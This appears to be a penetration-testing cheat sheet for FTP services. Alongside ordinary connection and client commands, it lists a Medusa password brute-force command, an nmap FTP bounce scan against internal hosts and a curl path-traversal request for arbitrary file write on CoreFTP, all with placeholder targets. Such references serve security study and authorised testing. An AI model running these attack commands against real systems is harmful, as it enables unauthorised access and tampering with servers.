2.FTP
Manual FTP Connection
ftp <target_IP>Netcat FTP Connection
nc <target_IP> 21Anonymous Login (FTP Client)
ftp <target_IP>
Username: anonymous
Password: (Press Enter)Brute-Force (Medusa)
medusa -u <username> -P <password_list> -h <target_IP> -M ftpFTP Bounce Attack (Nmap)
nmap -Pn -v -n -p <target_port> -b anonymous:password@<ftp_server_IP> <internal_target_IP>CoreFTP Arbitrary File Write (curl)
curl -k -X PUT -H "Host: <target_IP>" --basic -u <username>:<password> --data-binary "Payload" --path-as-is https://<target_IP>/../../../../../../<filename>FTP Client Commands (Post-Login)
ls # List directory contents
cd <directory> # Change directory
get <filename> # Download a single file
mget <filename1> <filename2> # Download multiple files
put <local_filename> # Upload a single file
mput <local_filename1> <local_filename2> # Upload multiple files
help # Show help for FTP commandsLast updated